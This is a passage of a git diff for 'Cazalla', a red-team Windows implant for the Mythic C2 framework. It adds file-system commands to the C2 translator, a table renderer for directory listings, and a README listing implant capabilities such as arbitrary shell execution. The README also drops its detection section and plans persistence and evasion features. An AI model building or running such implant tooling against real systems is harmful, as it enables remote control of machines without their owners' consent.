the table structure + const formattedResponse = { + headers: [ + { plaintext: "Type", type: "string", width: 60, disableSort: true }, + { plaintext: "Size", type: "string", width: 80, disableSort: true }, + { plaintext: "Date Modified", type: "string", fillWidth: true }, + { plaintext: "Name", type: "string", fillWidth: true } + ], + title: `Contents of ${pathLine}\n`, + rows: [] + }; + + // Format rows for table + dataLines.forEach(line => { + const parts = line.split("\t"); + if (parts.length === 4) { + const [type, size, modified, name] = parts; + formattedResponse.rows.push({ + Type: { + plaintext: type === "D" ? "Directory" : "File", + cellStyle: {}, + }, + Size: { + plaintext: type === "D" ? "-" : size + " bytes", + cellStyle: {}, + }, + "Date Modified": { + plaintext: modified, + cellStyle: {}, + }, + Name: { + plaintext: name, + cellStyle: {}, + } + }); + } + }); + + return { table: [formattedResponse] }; + } else { + return { 'plaintext': "No response yet from agent..." }; + } +} \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 6540141..39b61b8 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -7,7 +7,13 @@ commands = { "shell": {"hex_code": 0x54, "input_type": "string"}, "exit": {"hex_code": 0x80, "input_type": None}, "sleep": {"hex_code": 0x38, "input_type": "int"}, - "ps": {"hex_code": 0x15, "input_type": None} + "ps": {"hex_code": 0x15, "input_type": None}, + "cd": {"hex_code": 0x20, "input_type": "string"}, + "ls": {"hex_code": 0x21, "input_type": "string"}, + "pwd": {"hex_code": 0x22, "input_type": None}, + "cp": {"hex_code": 0x23, "input_type": "string"}, + "mkdir": {"hex_code": 0x24, "input_type": "string"}, + "rm": {"hex_code": 0x25, "input_type": "string"} } def responseTasking(tasks): @@ -18,6 +24,8 @@ def responseTasking(tasks): for task in tasks: command_to_run = task["command"] + print(f"\n[DEBUG] Preparando comando: {command_to_run}") + print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}") command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big") task_id = task["id"].encode() @@ -25,8 +33,11 @@ def responseTasking(tasks): task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps" + print("[DEBUG] Entrando en rama input_type=None") data = command_code + task_id_serialized task_size = len(data) + print(f"[DEBUG] Tamaño de tarea: {task_size}") + print(f"[DEBUG] Datos de tarea (hex): {data.hex()}") dataTask += task_size.to_bytes(4, "big") + data print("input_type: None") @@ -58,7 +69,7 @@ def responseTasking(tasks): dataToSend = dataHead + dataTask print("estamos en el dataToSend\n") - print(dataToSend) + print(dataToSend.hex()) return dataToSend diff --git a/README.md b/README.md index 141fc7d..784fa90 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,41 @@ Cazalla is a basic Windows implant written in C, designed to interface with the This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. -Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. +Cazalla is developed by the OFSTeam at Kaseya. + +## Supported Commands + +Commands are organized by category for better clarity and extensibility. + +### 📁 File System Commands +| Command | Description | Status | +|---------|--------------------------|---------| +| `cd` | Change working directory | ✅ | +| `ls` | List directory contents | ✅ | +| `pwd` | Print working directory | ✅ | +| `cp` | Copy an existing file | ✅ | +| `mkdir` | Create a new directory | ✅ | +| `rm` | Delete file/directory | ✅ | + +### 🖥️ Console Commands +| Command | Description | Status | +|---------|-------------------------------------|--------| +| `shell`| Execute arbitrary shell command | ✅ | + +### 🔄 Execution Control +| Command | Description | Status | +|---------|-------------------|--------| +| `exit` | Exit the implant | ✅ | +| `sleep`| Modify sleep time | ✅ | + +### 🧠 System Inspection +| Command | Description | Status | +|---------|-----------------------|--------| +| `ps` | List running processes| ✅ | + +> 🔧 To add a new command, see the [Creating New Commands](#creating-new-commands) section below. + +--- ## Install Cazalla @@ -14,10 +48,6 @@ Once Mythic is installed and running, use the following command to install Cazal ./mythic-cli install github ``` -## Detection - -A YARA rule can be provided for detection purposes. - ## Communication Protocol ### HEADER - Implant to C2 @@ -179,7 +209,79 @@ Expected: |---------------|-------------------|-------------| | Status Resp1 | 1 | Int | +## Creating New Commands + +### 📦 Mythic Side (Python) + +To add a new command in Mythic, create a `.py` file inside the agent's command folder (e.g., `shell.py`). A basic structure includes: + +- TaskArguments class +- CommandBase class + +Example: `shell.py` + +```python +class ShellArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + ... + self.args = [ + CommandParameter(name="command", type=ParameterType.String, ...) + ] + +class ShellCommand(CommandBase): + cmd = "shell" + ... + async def create_tasking(self, task: MythicTask): + ... + + async def process_response(self, task, response): + ... + +``` +### 🧠 C2 Side (Python - `commands_from_c2.py`) + +Update the commands dictionary with a unique hex code and input type: + +```python +commands = { + ... + "newcmd": {"hex_code": 0xAB, "input_type": "string"} +} +``` +Update `responseTasking` to handle serialization of the new command’s parameters. + +### 💻 Implant Side (C) + +Update the following files: + +`comandos.h` +```c +#define NEWCMD_CMD 0xAB +BOOL ejecutarNuevoCmd(PAnalizador argumentos); +``` +`comandos.c` +Add your command logic in `handleGetTasking()`: +```c +else if (tarea == NEWCMD_CMD) { + ejecutarNuevoCmd(analizadorTarea); +} +``` +`nuevo_cmd.c` and `nuevo_cmd.h` +Create your new command implementation. +```c +BOOL ejecutarNuevoCmd(PAnalizador argumentos) { + // handle parsing and execution here +} +``` +Don’t forget to add the source file to the build and include its header where needed. + ## Future Development -This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. +Planned improvements: +- Full implementation of pwd +- Additional file system and process control commands +- File upload/download +- Persistence and evasion mechanisms + +Made with ☕ by the Kaseya OFSTeam \ No newline at end of file